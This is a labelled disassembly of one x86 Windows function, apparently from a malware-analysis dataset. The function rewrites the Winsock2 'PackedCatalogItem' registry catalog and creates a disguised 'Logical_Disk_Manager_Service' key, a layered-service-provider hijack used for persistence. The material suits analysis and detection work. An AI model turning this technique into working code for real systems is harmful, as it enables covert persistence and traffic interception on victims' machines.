Function at 0x4038c0
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407910
push 0x405cb0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4bc
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
mov dword [ebp - 0x1c], edi
mov esi, 0x378
mov dword [ebp - 0x398], esi
lea eax, [ebp - 0x1c]
push eax
push 0xf003f
push edi
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40392c
mov eax, 0xfffffcdd
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov dword [ebp - 4], edi
lea eax, [ebp - 0x398]
push eax
lea ecx, [ebp - 0x394]
push ecx
push edi
push edi
push str.PackedCatalogItem
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403bc8
cmp dword [ebp - 0x398], esi
jne 0x403bc8
lea eax, [ebp - 0x290]
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x268], 1
jne 0x403ba7
cmp dword [ebp - 0x244], 2
jne 0x403ba7
mov ecx, dword [ebp - 0x26c]
push ecx
push 0x40a9a0
lea edx, [ebp - 0x3b4]
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
cmp dword [ebp + 0x10], edi
jne 0x403ae3
lea edi, [ebp - 0x394]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
mov dword [ebp - 0x4c4], esi
lea eax, [ebp - 0x4c0]
push eax
lea ecx, [ebp - 0x4bc]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2Logical_Disk_Manager_Service
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x4039f8
xor eax, eax
jmp 0x403a3f
push esi
lea edx, [ebp - 0x394]
push edx
push 1
push 0
lea eax, [ebp - 0x3b4]
push eax
mov ecx, dword [ebp - 0x4bc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x403a2d
mov edx, dword [ebp - 0x4bc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x403a3f
mov eax, dword [ebp - 0x4bc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov dword [ebp - 0x4c8], eax
test eax, eax
jne 0x403a6f
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
push ecx
call sub.MSVCRT.dll__local_unwind2
add esp, 8
mov eax, 0xfffffcda
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
lea edx, [ebp - 0x394]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x398]
push ecx
lea edx, [ebp - 0x394]
push edx
push 3
push 0
push str.PackedCatalogItem
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x403ba7
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
push ecx
call sub.MSVCRT.dll__local_unwind2
add esp, 8
mov eax, 0xfffffcd9
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push 1
push str.SYSTEMCurrentControlSetServicesWinSock2Logical_Disk_Manager_Service
push 0x80000002
push 0x104
lea edx, [ebp - 0x4b8]
push edx
lea eax, [ebp - 0x3b4]
push eax
mov ecx, ebx
call fcn.00403c00
test eax, eax
jne 0x403b33
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
push ecx
call sub.MSVCRT.dll__local_unwind2
add esp, 8
mov eax, 0xfffffcdb
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
lea edi, [ebp - 0x4b8]
lea edx, [ebp - 0x394]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x398]
push ecx
lea edx, [ebp - 0x394]
push edx
push 3
push 0
push str.PackedCatalogItem
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x403ba7
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
push ecx
call sub.MSVCRT.dll__local_unwind2
add esp, 8
mov eax, 0xfffffcd9
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov dword [ebp - 4], 0xffffffff
call fcn.00403bee
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push 0xffffffffffffffff
lea edx, [ebp - 0x10]
push edx
call sub.MSVCRT.dll__local_unwind2
add esp, 8
mov eax, 0xfffffcdb
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc